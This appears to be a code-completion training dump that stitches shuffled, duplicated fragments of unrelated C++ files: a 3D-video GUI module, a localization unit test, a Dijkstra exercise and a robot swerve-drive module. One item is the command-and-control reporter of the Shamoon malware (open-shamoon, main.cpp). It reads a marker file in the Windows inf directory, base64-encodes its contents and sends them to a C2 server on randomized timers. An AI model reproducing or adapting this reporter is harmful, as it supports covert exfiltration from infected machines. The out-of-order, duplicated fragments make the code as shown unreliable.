current_fs_->frames[frame_idx].cast<ftl::rgbd::Frame>(); if (frame.hasChannel(Channel::Left)) current_frame_colour_ = frame.getTexture<uchar4>(Channel::Left); if (frame.hasChannel(channel)) { current_frame_ = colouriser_->colourise(frame, channel, 0); } else { throw FTL_Error("Channel missing for frame " << frame.timestamp() << ": '" << ftl::codecs::name(channel) << "'"); } std::atomic_store(&current_fs_, {}); } if (channel == Channel::Left) { return current_frame_colour_; } else { return current_frame_; } } bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame, ftl::codecs::Channel channel) { if (std::atomic_load(&current_fs_).get() != nullptr) { frame = getFrame(); return true; } return false; } bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame) { return getFrame(frame, Channel::Right); } bool DisparityDev::hasFrame() { auto ptr = std::atomic_load(&current_fs_); if (ptr && ptr->frames.size() > (unsigned int)(frame_idx)) { return ptr->frames[frame_idx].hasChannel(Channel::Left); } return false; } void DisparityDev::generate() { auto ptr = std::atomic_load(&current_fs_); if (ptr && ptr->frames.size() > (unsigned int)(frame_idx)) { if (ptr->frames[frame_idx].hasChannel(Channel::Left)) { col_feat_left_.generate(ptr->frames[frame_idx].get<cv::cuda::GpuMat>(Channel::Left), nullptr); } if (ptr->frames[frame_idx].hasChannel(Channel::Right)) { col_feat_right_.generate(ptr->frames[frame_idx].get<cv::cuda::GpuMat>(Channel::Right), nullptr); } } } const cv::cuda::GpuMat& DisparityDev::getFeatureImageLeft(ftl::disparity::ColourFeatures::Feature f) { col_feat_left_.visualise(f, 0, left_, nullptr); return left_; } const cv::cuda::GpuMat& DisparityDev::getFeatureImageRight(ftl::disparity::ColourFeatures::Feature f) { col_feat_right_.visualise(f, 0, right_, nullptr); return right_; }
#include "developer.hpp" #include <loguru.hpp> #include "../../views/dev/disparityview.hpp" #include <ftl/codecs/channels.hpp> using ftl::gui2::DisparityDev; using ftl::codecs::Channel; using ftl::rgbd::Capability; void DisparityDev::init() { colouriser_ = std::unique_ptr<ftl::render::Colouriser>( ftl::create<ftl::render::Colouriser>(this, "colouriser")); } void DisparityDev::_updateCapabilities(ftl::data::Frame &frame) { if (frame.has(Channel::Capabilities)) { live_ = false; touch_ = false; movable_ = false; vr_ = false; const auto &cap = frame.get<std::unordered_set<Capability>>(Channel::Capabilities); for (auto c : cap) { switch (c) { case Capability::LIVE : live_ = true; break; case Capability::TOUCH : touch_ = true; break; case Capability::MOVABLE : movable_ = true; break; case Capability::VR : vr_ = true; break; default: break; } } } } void DisparityDev::initiate_(ftl::data::Frame &frame) { if (frame.has(Channel::Capabilities)) { const auto &rgbdf = frame.cast<ftl::rgbd::Frame>(); const auto &cap = rgbdf.capabilities(); for (auto c : cap) { LOG(INFO) << " -- " << ftl::rgbd::capabilityName(c); switch (c) { case Capability::LIVE : live_ = true; break; case Capability::TOUCH : touch_ = true; break; case Capability::MOVABLE : movable_ = true; break; case Capability::VR : vr_ = true; break; default: break; } } if (live_ && cap.count(Capability::VIRTUAL)) { } else { } } else { } has_seen_frame_ = true; view = new ftl::gui2::DisparityView(screen, this); if (frame.has(Channel::MetaData)) { const auto &meta = frame.metadata(); LOG(INFO) << "Camera Frame Meta Data:"; for (auto m : meta) { LOG(INFO) << " -- " << m.first << " = " << m.second; } } if (!view) return; view->onClose([this](){ filter_->remove(); filter_ = nullptr; nframes_ = -1; }); screen->setView(view); view->refresh(); } void DisparityDev::activate(ftl::data::FrameID id) { LOG(INFO) << "DISP DEV ACTIVATE"; frame_idx = id.source(); frame_id_ = id; last_ = glfwGetTime(); nframes_ = 0; has_seen_frame_ = false; live_ = false; touch_ = false; movable_ = false; vr_ = false; filter_ = io->feed()->filter(std::unordered_set<unsigned int>{id.frameset()}, {Channel::Left, Channel::Right}); filter_->on( [this, feed = io->feed(), speaker = io->speaker()](ftl::data::FrameSetPtr fs){ std::atomic_store(&current_fs_, fs); std::atomic_store(&latest_, fs); if (!has_seen_frame_) { has_seen_frame_ = true; } auto &frame = fs->frames[frame_idx]; if (frame.hasMessages()) { const auto &msgs = frame.messages(); UNIQUE_LOCK(mtx_, lk); messages_.insert(msgs.begin(), msgs.end()); } if (frame.changed(Channel::Capabilities)) { _updateCapabilities(frame); } if (!view) return true; screen->redraw(); nframes_++; latency_ += ftl::timer::get_time() - fs->localTimestamp; return true; } ); auto sets = filter_->getLatestFrameSets(); if (sets.size() > 0) { std::atomic_store(&current_fs_, sets.front()); std::atomic_store(&latest_, sets.front()); initiate_(sets.front()->frames[frame_idx]); } else { throw FTL_Error("Cannot activate disparity devtools, no data"); } } DisparityDev::~DisparityDev() { } ftl::cuda::TextureObject<uchar4>& DisparityDev::getFrame() { return getFrame(Channel::Right); } ftl::cuda::TextureObject<uchar4>& DisparityDev::getFrame(ftl::codecs::Channel channel) {
bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame, ftl::codecs::Channel channel) { if (std::atomic_load(&current_fs_).get() != nullptr) { frame = getFrame(); return true; } return false; } bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame) { return getFrame(frame, Channel::Right); } bool DisparityDev::hasFrame() { auto ptr = std::atomic_load(&current_fs_); if (ptr && ptr->frames.size() > (unsigned int)(frame_idx)) { return ptr->frames[frame_idx].hasChannel(Channel::Left); } return false; } void DisparityDev::generate() { auto ptr = std::atomic_load(&current_fs_); if (ptr && ptr->frames.size() > (unsigned int)(frame_idx)) { if (ptr->frames[frame_idx].hasChannel(Channel::Left)) { col_feat_left_.generate(ptr->frames[frame_idx].get<cv::cuda::GpuMat>(Channel::Left), nullptr); } if (ptr->frames[frame_idx].hasChannel(Channel::Right)) { col_feat_right_.generate(ptr->frames[frame_idx].get<cv::cuda::GpuMat>(Channel::Right), nullptr); } } } const cv::cuda::GpuMat& DisparityDev::getFeatureImageLeft(ftl::disparity::ColourFeatures::Feature f) { col_feat_left_.visualise(f, 0, left_, nullptr); return left_; } const cv::cuda::GpuMat& DisparityDev::getFeatureImageRight(ftl::disparity::ColourFeatures::Feature f) { col_feat_right_.visualise(f, 0, right_, nullptr); return right_; }
if (std::atomic_load(&current_fs_)) { auto& frame = current_fs_->frames[frame_idx].cast<ftl::rgbd::Frame>(); if (frame.hasChannel(Channel::Left)) current_frame_colour_ = frame.getTexture<uchar4>(Channel::Left); if (frame.hasChannel(channel)) { current_frame_ = colouriser_->colourise(frame, channel, 0); } else { throw FTL_Error("Channel missing for frame " << frame.timestamp() << ": '" << ftl::codecs::name(channel) << "'"); } std::atomic_store(&current_fs_, {}); } if (channel == Channel::Left) { return current_frame_colour_; } else { return current_frame_; } }
function_block-function_prefix_line
[ { "content": "class FrameSet : public ftl::data::Frame {\n\n\tprivate:\n\n\t//FrameSet(Pool *ppool, Session *parent, uint32_t pid, int64_t ts) :\n\n\t//\tFrame(ppool, parent, pid | 0xFF, ts) {};\n\n\n\n\n\n\tpublic:\n\n\tFrameSet(Pool *ppool, FrameID pid, int64_t ts, size_t psize=1);\n\n\t~FrameSet();\n\n\n\n\t...
C++
Programs/UnitTests/Classes/Tests/LocalizationTest.cpp
reven86/dava.engine
ca47540c8694668f79774669b67d874a30188c20
#include "DAVAEngine.h" #include "UnitTests/UnitTests.h" #include "Utils/BiDiHelper.h" #include "Render/2D/TextLayout.h" #include <float.h> struct TestLangsData { DAVA::String langId; }; static const DAVA::Vector<TestLangsData> files = { TestLangsData{ "weird_characters" }, TestLangsData{ "de" }, TestLangsData{ "en" }, TestLangsData{ "es" }, TestLangsData{ "it" }, TestLangsData{ "ru" } }; DAVA_TESTCLASS (LocalizationTest) { DAVA::FilePath srcDir; DAVA::FilePath cpyDir; LocalizationTest() { using namespace DAVA; srcDir = "~res:/TestData/LocalizationTest/"; cpyDir = FileSystem::Instance()->GetCurrentDocumentsDirectory() + "LocalizationTest/"; FileSystem::Instance()->DeleteDirectory(cpyDir); FileSystem::eCreateDirectoryResult createDone = FileSystem::Instance()->CreateDirectory(cpyDir, true); TEST_VERIFY(createDone != FileSystem::DIRECTORY_CANT_CREATE); } ~LocalizationTest() { using namespace DAVA; FileSystem::Instance()->DeleteDirectory(cpyDir, true); LocalizationSystem* localizationSystem = LocalizationSystem::Instance(); localizationSystem->InitWithDirectory("~res:/Strings/"); } DAVA_TEST (LocaleTest) { using namespace DAVA; LocalizationSystem* localizationSystem = LocalizationSystem::Instance(); String locale = localizationSystem->GetDeviceLocale(); Logger::FrameworkDebug("Current locale is %s", locale.c_str()); localizationSystem->Cleanup(); for (size_t i = 0; i < files.size(); ++i) { const String& currentLangId = files[i].langId; FilePath srcFile = srcDir + (currentLangId + ".yaml"); FilePath cpyFile = cpyDir + (currentLangId + ".yaml"); bool copyDone = FileSystem::Instance()->CopyFile(srcFile, cpyFile, true); TEST_VERIFY(copyDone); localizationSystem->InitWithDirectory(cpyDir); bool setLocaleDone = localizationSystem->SetCurrentLocale(currentLangId); TEST_VERIFY(setLocaleDone); bool saveDone = localizationSystem->SaveLocalizedStrings(); TEST_VERIFY(saveDone); localizationSystem->Cleanup(); TEST_VERIFY_WITH_MESSAGE(FileSystem::Instance()->CompareTextFiles(srcFile, cpyFile), Format("Localization test: %s", files[i].langId.c_str())); } } #if !defined(__DAVAENGINE_LINUX__) DAVA_TEST (BiDiTest) { using namespace DAVA; BiDiHelper helper; TextLayout layout(true); Font* font = FTFont::Create("~res:/Fonts/korinna.ttf"); FilePath filePath("~res:/TestData/LocalizationTest/bidi_test.yaml"); YamlParser* parser = YamlParser::Create(filePath); SCOPE_EXIT { SafeRelease(parser); SafeRelease(font); }; TEST_VERIFY_WITH_MESSAGE(parser != nullptr, Format("Failed to open yaml file: %s", filePath.GetAbsolutePathname().c_str())); if (parser == nullptr) return; YamlNode* rootNode = parser->GetRootNode(); TEST_VERIFY_WITH_MESSAGE(rootNode != nullptr, Format("Empty YAML file: %s", filePath.GetAbsolutePathname().c_str())); if (rootNode == nullptr) return; uint32 cnt = rootNode->GetCount(); for (uint32 k = 0; k < cnt; ++k) { const YamlNode* node = rootNode->Get(k); const YamlNode* inputNode = node->Get("input"); const YamlNode* visualNode = node->Get("visual"); TEST_VERIFY_WITH_MESSAGE(inputNode != nullptr, Format("YamlNode %d: input node is empty", k)); TEST_VERIFY_WITH_MESSAGE(visualNode != nullptr, Format("YamlNode %d: visual node is empty", k)); if (inputNode == nullptr || visualNode == nullptr) break; WideString input = inputNode->AsWString(); WideString visual = visualNode->AsWString(); WideString visual_work; layout.Reset(input, *font); while (!layout.IsEndOfText()) { layout.NextByWords(FLT_MAX); visual_work += layout.GetVisualLine(!layout.IsEndOfText()); if (!layout.IsEndOfText()) { visual_work += L"\n"; } } TEST_VERIFY_WITH_MESSAGE(visual == visual_work, Format("YamlNode index: %d", k)); } } #endif };
#include "DAVAEngine.h" #include "UnitTests/UnitTests.h" #include "Utils/BiDiHelper.h" #include "Render/2D/TextLayout.h" #include <float.h> struct TestLangsData { DAVA::String langId; }; static const DAVA::Vector<TestLangsData> files = { TestLangsData{ "weird_characters" }, TestLangsData{ "de" }, TestLangsData{ "en" }, TestLangsData{ "es" }, TestLangsData{ "it" }, TestLangsData{ "ru" } }; DAVA_TESTCLASS (LocalizationTest) { DAVA::FilePath srcDir; DAVA::FilePath cpyDir; LocalizationTest() { using namespace DAVA; srcDir = "~res:/TestData/LocalizationTest/"; cpyDir = FileSystem::Instance()->GetCurrentDocumentsDirectory() + "LocalizationTest/"; FileSystem::Instance()->DeleteDirectory(cpyDir); FileSystem::eCreateDirectoryResult createDone = FileSystem::Instance()->CreateDirectory(cpyDir, true); TEST_VERIFY(createDone != FileSystem::DIRECTORY_CANT_CREATE); } ~LocalizationTest() { using namespace DAVA; FileSystem::Instance()->DeleteDirectory(cpyDir, true); LocalizationSystem* localizationSystem = LocalizationSystem::Instance(); localizationSystem->InitWithDirectory("~res:/Strings/"); } DAVA_TEST (LocaleTest) { using namespace DAVA; LocalizationSystem* localizationSystem = LocalizationSystem::Instance(); String locale = localizationSystem->GetDeviceLocale(); Logger::FrameworkDebug("Current locale is %s", locale.c_str()); localizationSystem->Cleanup(); for (size_t i = 0; i < files.size(); ++i) { const String& currentLangId = files[i].langId; FilePath srcFile = srcDir + (currentLangId + ".yaml"); FilePath cpyFile = cpyDir + (currentLangId + ".yaml"); bool copyDone = FileSystem::Instance()->Copy
yout.IsEndOfText()) { visual_work += L"\n"; } } TEST_VERIFY_WITH_MESSAGE(visual == visual_work, Format("YamlNode index: %d", k)); } } #endif };
File(srcFile, cpyFile, true); TEST_VERIFY(copyDone); localizationSystem->InitWithDirectory(cpyDir); bool setLocaleDone = localizationSystem->SetCurrentLocale(currentLangId); TEST_VERIFY(setLocaleDone); bool saveDone = localizationSystem->SaveLocalizedStrings(); TEST_VERIFY(saveDone); localizationSystem->Cleanup(); TEST_VERIFY_WITH_MESSAGE(FileSystem::Instance()->CompareTextFiles(srcFile, cpyFile), Format("Localization test: %s", files[i].langId.c_str())); } } #if !defined(__DAVAENGINE_LINUX__) DAVA_TEST (BiDiTest) { using namespace DAVA; BiDiHelper helper; TextLayout layout(true); Font* font = FTFont::Create("~res:/Fonts/korinna.ttf"); FilePath filePath("~res:/TestData/LocalizationTest/bidi_test.yaml"); YamlParser* parser = YamlParser::Create(filePath); SCOPE_EXIT { SafeRelease(parser); SafeRelease(font); }; TEST_VERIFY_WITH_MESSAGE(parser != nullptr, Format("Failed to open yaml file: %s", filePath.GetAbsolutePathname().c_str())); if (parser == nullptr) return; YamlNode* rootNode = parser->GetRootNode(); TEST_VERIFY_WITH_MESSAGE(rootNode != nullptr, Format("Empty YAML file: %s", filePath.GetAbsolutePathname().c_str())); if (rootNode == nullptr) return; uint32 cnt = rootNode->GetCount(); for (uint32 k = 0; k < cnt; ++k) { const YamlNode* node = rootNode->Get(k); const YamlNode* inputNode = node->Get("input"); const YamlNode* visualNode = node->Get("visual"); TEST_VERIFY_WITH_MESSAGE(inputNode != nullptr, Format("YamlNode %d: input node is empty", k)); TEST_VERIFY_WITH_MESSAGE(visualNode != nullptr, Format("YamlNode %d: visual node is empty", k)); if (inputNode == nullptr || visualNode == nullptr) break; WideString input = inputNode->AsWString(); WideString visual = visualNode->AsWString(); WideString visual_work; layout.Reset(input, *font); while (!layout.IsEndOfText()) { layout.NextByWords(FLT_MAX); visual_work += layout.GetVisualLine(!layout.IsEndOfText()); if (!la
random
[]
C++
open-cc-module/main.cpp
Fgroove/open-shamoon
f5650ec83ec3e1ab1a0fb094f78e90b9fae457bc
#include <Windows.h> #include <memory> #include "Base64.h" #include "Core.h" #include "Utils.h" #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define UNK_FILE_PATH L"\\inf\\netfb318.pnf" #define COMMAND_DIRECTLY_SEND '0' #define COMMAND_REQUEST_FILE '1' int wmain(int argc, wchar_t *argv[], wchar_t *envp[]) { HANDLE hFile; unsigned char pFileData[10240]; unsigned char pPrevFileData[10240]; DWORD nFileSize = 0; INT32 nAttemptNr = 0; bool bLongSleep = false; if(GetHostname(g_szHostname) == false) g_szHostname[0] = 0; GetWindowsDirectoryA(g_szWinDirA, 100); GetWindowsDirectoryW(g_szWinDirW, 100); #ifdef _DEBUG printf("Hostname: %S\n", g_szHostname); printf("WindowsDirectoryA: %s\n", g_szWinDirA); printf("WindowsDirectoryW: %S\n", g_szWinDirW); extern WCHAR *g_C2_IP[1][1]; printf("C&C IP: %S\n", g_C2_IP[0][0]); extern LPCWSTR g_C2_proxy[1]; printf("C&C Proxy: %s\n", g_C2_proxy[0]); extern LPCWSTR g_C2_proxyBypass[1]; printf("C&C Proxy Bypass: %s\n", g_C2_proxyBypass[0]); #endif if(argc >= 2) { if(*argv[1] == COMMAND_DIRECTLY_SEND) { WCHAR *pC2Data = NULL; #ifdef _DEBUG printf("%s: CMD is COMMAND_DIRECTLY_SEND\n", __FUNCTION__); #endif if(argc >= 3) { WCHAR *pTempBuffer = new WCHAR[wcslen(argv[2])+1]; if(!pTempBuffer) return 0; wmemcpy(pTempBuffer, argv[2], wcslen(argv[2])+1); pC2Data = pTempBuffer; } SendDatoToC2(pC2Data); return 0; } if(*argv[1] == COMMAND_REQUEST_FILE) { WCHAR szFilePath[100]; _wprintf(szFilePath, L"%s%s", g_szWinDirW, UNK_FILE_PATH); INT32 nWaited = 0; INT32 nToWait = GetTickCount() % 60 + 7200; while(1) { while(1) { hFile = CreateFileW(szFilePath, GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile != INVALID_HANDLE_VALUE) break; if(bLongSleep == true) { bLongSleep = false; nToWait = GetTickCount() % 60 + 7200; } if(nWaited == 0) { WCHAR *pAttemptNr = new WCHAR[2048]; if(pAttemptNr) { _wprintf(pAttemptNr, L"%s%d", L"_", nAttemptNr); if(SendDatoToC2(pAttemptNr)) nToWait = GetTickCount() % 60 + 7200; else nToWait = GetTickCount() % 60 + 600; } ++nAttemptNr; } Sleep(5000); if(5 * nWaited > nToWait) nWaited = -1; ++nWaited; } if(bLongSleep == false) { nWaited = 0; nToWait = 300; bLongSleep = true; } nFileSize = GetFileSize(hFile, 0); if(nFileSize > 0x2800) nFileSize = 0x2800; if(nFileSize) { DWORD nBytesRead = 0; ReadFile(hFile, pFileData, nFileSize, &nBytesRead, 0); } CloseHandle(hFile); if(nFileSize) { if(*pFileData == 1) { SendDatoToC2(base64_encode(nFileSize, pFileData)); Sleep(300000); } memcpy(pPrevFileData, pFileData, nFileSize); } if(nWaited == 0 && nFileSize) CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SendDatoToC2, base64_encode(nFileSize, pPrevFileData), 0, 0); Sleep(5000); if(5 * nWaited > nToWait) { nWaited = -1; nToWait = 300; } CloseHandle(hFile); ++nWaited; } } } return 0; }
#include <Windows.h> #include <memory> #include "Base64.h" #include "Core.h" #include "Utils.h" #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define UNK_FILE_PATH L"\\inf\\netfb318.pnf" #define COMMAND_DIRECTLY_SEND '0' #define COMMAND_REQUEST_FILE '1' int wmain(int argc, wchar_t *argv[], wchar_t *envp[]) { HANDLE hFile; unsigned char pFileData[10240]; unsigned char pPrevFileData[10240]; DWORD nFileSize = 0; INT32 nAttemptNr = 0; bool bLongSleep = false; if(GetHostname(g_szHostname) == false) g_szHostname[0] = 0; GetWindowsDirectoryA(g_szWinDirA, 100); GetWindowsDirectoryW(g_szWinDirW, 100); #ifdef _DEBUG printf("Hostname: %S\n", g_szHostname); printf("WindowsDirectoryA: %s\n", g_szWinDirA); printf("WindowsDirectoryW: %S\n", g_szWinDirW); extern WCHAR *g_C2_IP[1][1]; printf("C&C IP: %S\n", g_C2_IP[0][0]); extern LPCWSTR g_C2_proxy[1]; printf("C&C Proxy: %s\n", g_C2_proxy[0]); extern LPCWSTR g_C2_proxyBypass[1]; printf("C&C Proxy Bypass: %s\n", g_C2_proxyBypass[0]); #endif if(argc >= 2) { if(*argv[1] == COMMAND_DIRECTLY_SEND) { WCHAR *pC2Data = NULL; #ifdef _DEBUG printf("%s: CMD is COMMAND_DIRECTLY_SEND\n", __FUNCTION__); #endif if(argc >= 3) { WCHAR *pTempBuffer = new WCHAR[wcslen(argv[2])+1];
++nWaited; } if(bLongSleep == false) { nWaited = 0; nToWait = 300; bLongSleep = true; } nFileSize = GetFileSize(hFile, 0); if(nFileSize > 0x2800) nFileSize = 0x2800; if(nFileSize) { DWORD nBytesRead = 0; ReadFile(hFile, pFileData, nFileSize, &nBytesRead, 0); } CloseHandle(hFile); if(nFileSize) { if(*pFileData == 1) { SendDatoToC2(base64_encode(nFileSize, pFileData)); Sleep(300000); } memcpy(pPrevFileData, pFileData, nFileSize); } if(nWaited == 0 && nFileSize) CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SendDatoToC2, base64_encode(nFileSize, pPrevFileData), 0, 0); Sleep(5000); if(5 * nWaited > nToWait) { nWaited = -1; nToWait = 300; } CloseHandle(hFile); ++nWaited; } } } return 0; }
if(!pTempBuffer) return 0; wmemcpy(pTempBuffer, argv[2], wcslen(argv[2])+1); pC2Data = pTempBuffer; } SendDatoToC2(pC2Data); return 0; } if(*argv[1] == COMMAND_REQUEST_FILE) { WCHAR szFilePath[100]; _wprintf(szFilePath, L"%s%s", g_szWinDirW, UNK_FILE_PATH); INT32 nWaited = 0; INT32 nToWait = GetTickCount() % 60 + 7200; while(1) { while(1) { hFile = CreateFileW(szFilePath, GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile != INVALID_HANDLE_VALUE) break; if(bLongSleep == true) { bLongSleep = false; nToWait = GetTickCount() % 60 + 7200; } if(nWaited == 0) { WCHAR *pAttemptNr = new WCHAR[2048]; if(pAttemptNr) { _wprintf(pAttemptNr, L"%s%d", L"_", nAttemptNr); if(SendDatoToC2(pAttemptNr)) nToWait = GetTickCount() % 60 + 7200; else nToWait = GetTickCount() % 60 + 600; } ++nAttemptNr; } Sleep(5000); if(5 * nWaited > nToWait) nWaited = -1;
function_block-random_span
[ { "content": "extern LPCWSTR g_C2_proxyBypass[GROUP_COUNT];\n", "file_path": "open-cc-module/Core.h", "rank": 0, "score": 56401.138947136234 }, { "content": "extern INT32 g_argc;\n", "file_path": "open-malware/Global/Global.h", "rank": 1, "score": 29748.609422815298 }, { ...
C++
Project 6 - Graphs/Dijkstra.cpp
nbstrong/Data-Structures
81aeafb99e4e1eb92fb0d1aff630aed44cf55e0a
#include <stdio.h> #include <limits.h> #include <iostream> #include <conio.h> using namespace std; const int VERTICES = 9; int minDistance(int distance[], bool shortestPathFoundSet[]); void printSolution(int distance[], int n); void pressAnyKey(); int minDistance(int distance[], bool shortestPathFoundSet[]) { int min = INT_MAX, minIndex; for (int v = 0; v < VERTICES; v++) { if ( (shortestPathFoundSet[v] == false) && (distance[v] <= min) ) { min = distance[v], minIndex = v; } } return minIndex; } void printSolution(int distance[], int n) { cout << "Vertex\tDistance from Source\n"; for (int i = 0; i < VERTICES; i++) { cout << i << "\t" << distance[i] << endl; } } void dijkstra(int graph[VERTICES][VERTICES], int src) { int distance[VERTICES]; bool shortestPathFoundSet[VERTICES]; for (int i = 0; i < VERTICES; i++) { distance[i] = INT_MAX; shortestPathFoundSet[i] = false; } distance[src] = 0; for (int count = 0; count < VERTICES-1; count++) { int u = minDistance(distance, shortestPathFoundSet); shortestPathFoundSet[u] = true; for (int v = 0; v < VERTICES; v++) { if (!shortestPathFoundSet[v] && graph[u][v] && distance[u] != INT_MAX && distance[u] + graph[u][v] < distance[v]) { distance[v] = distance[u] + graph[u][v]; } } } printSolution(distance, VERTICES); } int main() { int graph[VERTICES][VERTICES] = { {0, 4, 0, 0, 0, 0, 0, 9, 0}, {4, 0, 10, 0, 0, 0, 0, 13, 0}, {0, 10, 0, 8, 0, 4, 0, 0, 2}, {0, 0, 8, 0, 9, 15, 0, 0, 0}, {0, 0, 0, 9, 0, 10, 0, 0, 0}, {0, 0, 4, 15, 10, 0, 2, 0, 0}, {0, 0, 0, 0, 0, 2, 0, 1, 6}, {9, 13, 0, 0, 0, 0, 1, 0, 8}, {0, 0, 2, 0, 0, 0, 6, 8, 0} }; dijkstra(graph, 0); pressAnyKey(); return 0; } void pressAnyKey() { cout << "Press any key to continue" << endl << endl; _getch(); }
#include <stdio.h> #include <limits.h> #include <iostream> #include <conio.h> using namespace std; const int VERTICES = 9; int minDistance(int distance[], bool shortestPathFoundSet[]); void printSolution(int distance[], int n); void pressAnyKey(); int minDistance(int distance[], bool shortestPathFoundSet[]) { int min = INT_MAX, minIndex; for (int v = 0; v < VERTICES; v++) { if ( (shortestPathFoundSet[v] == false) && (distance[v] <= min) ) { min = distance[v], minIndex = v; } } return minIndex; } void printSolution(int distance[], int n) { cout << "Vertex\tDistance from Source\n"; for (int i = 0;
distance[v] = distance[u] + graph[u][v]; } } } printSolution(distance, VERTICES); } int main() { int graph[VERTICES][VERTICES] = { {0, 4, 0, 0, 0, 0, 0, 9, 0}, {4, 0, 10, 0, 0, 0, 0, 13, 0}, {0, 10, 0, 8, 0, 4, 0, 0, 2}, {0, 0, 8, 0, 9, 15, 0, 0, 0}, {0, 0, 0, 9, 0, 10, 0, 0, 0}, {0, 0, 4, 15, 10, 0, 2, 0, 0}, {0, 0, 0, 0, 0, 2, 0, 1, 6}, {9, 13, 0, 0, 0, 0, 1, 0, 8}, {0, 0, 2, 0, 0, 0, 6, 8, 0} }; dijkstra(graph, 0); pressAnyKey(); return 0; } void pressAnyKey() { cout << "Press any key to continue" << endl << endl; _getch(); }
i < VERTICES; i++) { cout << i << "\t" << distance[i] << endl; } } void dijkstra(int graph[VERTICES][VERTICES], int src) { int distance[VERTICES]; bool shortestPathFoundSet[VERTICES]; for (int i = 0; i < VERTICES; i++) { distance[i] = INT_MAX; shortestPathFoundSet[i] = false; } distance[src] = 0; for (int count = 0; count < VERTICES-1; count++) { int u = minDistance(distance, shortestPathFoundSet); shortestPathFoundSet[u] = true; for (int v = 0; v < VERTICES; v++) { if (!shortestPathFoundSet[v] && graph[u][v] && distance[u] != INT_MAX && distance[u] + graph[u][v] < distance[v]) {
random
[ { "content": "// Function to search a delete a value from tree.\n\nstruct Node* Delete(struct Node *root, int data) {\n\n\tif(root == NULL) return root; \n\n\telse if(data < root->data) root->left = Delete(root->left,data);\n\n\telse if (data > root->data) root->right = Delete(root->right,data);\n\n\t// Wohoo.....
C++
src/main/cpp/subsystems/SwerveModule.cpp
ParadigmShift1259/Swerve2021
6158dd606a97a541d65bec1be26193717794cc64
#include "subsystems/SwerveModule.h" SwerveModule::SwerveModule(int driveMotorChannel, int turningMotorChannel, GetPulseWidthCallback pulseWidthCallback, CANifier::PWMChannel pwmChannel, bool driveMotorReversed, double offset, const std::string& name) : m_offset(offset) , m_name(name) , m_driveMotor(driveMotorChannel) , m_turningMotor(turningMotorChannel, CANSparkMax::MotorType::kBrushless) , m_drivePIDLoader("SM", kDriveAdjust, kDriveP, kDriveI, kDriveD, kDriveFF) , m_turnPIDLoader("SM", kTurnAdjust, kTurnP, kTurnI, kTurnD, kTurnIZ, kTurnIA) , m_pulseWidthCallback(pulseWidthCallback) , m_pwmChannel(pwmChannel) { StatorCurrentLimitConfiguration statorLimit { true, kMotorCurrentLimit, kMotorCurrentLimit, 2 }; m_driveMotor.ConfigStatorCurrentLimit(statorLimit); SupplyCurrentLimitConfiguration supplyLimit { true, kMotorCurrentLimit, kMotorCurrentLimit, 2 }; m_driveMotor.ConfigSupplyCurrentLimit(supplyLimit); m_turningMotor.SetSmartCurrentLimit(kMotorCurrentLimit); m_turnRelativeEncoder.SetPositionConversionFactor(2.0 * wpi::math::pi / kTurnMotorRevsPerWheelRev); m_driveMotor.SetInverted(driveMotorReversed ? TalonFXInvertType::CounterClockwise : TalonFXInvertType::Clockwise); m_turningMotor.SetInverted(false); m_driveMotor.ConfigSelectedFeedbackSensor(TalonFXFeedbackDevice::IntegratedSensor); m_turnPIDController.SetFeedbackDevice(m_turnRelativeEncoder); m_turningMotor.SetIdleMode(CANSparkMax::IdleMode::kBrake); m_driveMotor.SetNeutralMode(NeutralMode::Brake); m_drivePIDLoader.Load(m_driveMotor); m_turnPIDLoader.Load(m_turnPIDController); m_timer.Reset(); m_timer.Start(); } void SwerveModule::Periodic() { if (m_timer.Get() < 5) ResetRelativeToAbsolute(); double absAngle = CalcAbsoluteAngle(); SmartDashboard::PutNumber("D_SM_Rel " + m_name, m_turnRelativeEncoder.GetPosition()); SmartDashboard::PutNumber("D_SM_Abs " + m_name, absAngle); SmartDashboard::PutNumber("D_SM_AbsDiff " + m_name, m_turnRelativeEncoder.GetPosition() - absAngle); } SwerveModuleState SwerveModule::GetState() { return { CalcMetersPerSec(), Rotation2d(radian_t(CalcAbsoluteAngle()))}; } void SwerveModule::SetDesiredState(SwerveModuleState &state) { m_drivePIDLoader.LoadFromNetworkTable(m_driveMotor); m_turnPIDLoader.LoadFromNetworkTable(m_turnPIDController); double currentPosition = m_turnRelativeEncoder.GetPosition(); bool bOutputReverse = false; double minTurnRads = MinTurnRads(currentPosition, state.angle.Radians().to<double>(), bOutputReverse); double direction = 1.0; if (bOutputReverse) direction = -1.0; double newPosition = currentPosition + minTurnRads; if (state.speed != 0_mps) { #ifdef DISABLE_DRIVE m_driveMotor.Set(TalonFXControlMode::Velocity, 0.0); #else m_driveMotor.Set(TalonFXControlMode::Velocity, direction * CalcTicksPer100Ms(state.speed)); #endif } else m_driveMotor.Set(TalonFXControlMode::PercentOutput, 0.0); if (state.speed.to<double>() != 0.0) m_turnPIDController.SetReference(newPosition, ControlType::kPosition); } void SwerveModule::ResetEncoders() { m_driveMotor.SetSelectedSensorPosition(0.0); } double SwerveModule::CalcAbsoluteAngle() { double pulseWidth = m_pulseWidthCallback(m_pwmChannel); return fmod((pulseWidth - m_offset) * DriveConstants::kPulseWidthToRadians + 2.0 * wpi::math::pi, 2.0 * wpi::math::pi); } void SwerveModule::ResetRelativeToAbsolute() { m_turnRelativeEncoder.SetPosition(CalcAbsoluteAngle()); } double SwerveModule::MinTurnRads(double init, double final, bool& bOutputReverse) { init = Util::ZeroTo2PiRads(init); final = Util::ZeroTo2PiRads(final); double angle1 = final - init; double angle2 = final + wpi::math::pi - init; angle1 = Util::NegPiToPiRads(angle1); angle2 = Util::NegPiToPiRads(angle2); bOutputReverse = false; return angle1; } meters_per_second_t SwerveModule::CalcMetersPerSec() { double ticksPer100ms = m_driveMotor.GetSelectedSensorVelocity(); return meters_per_second_t(kDriveEncoderMetersPerSec * 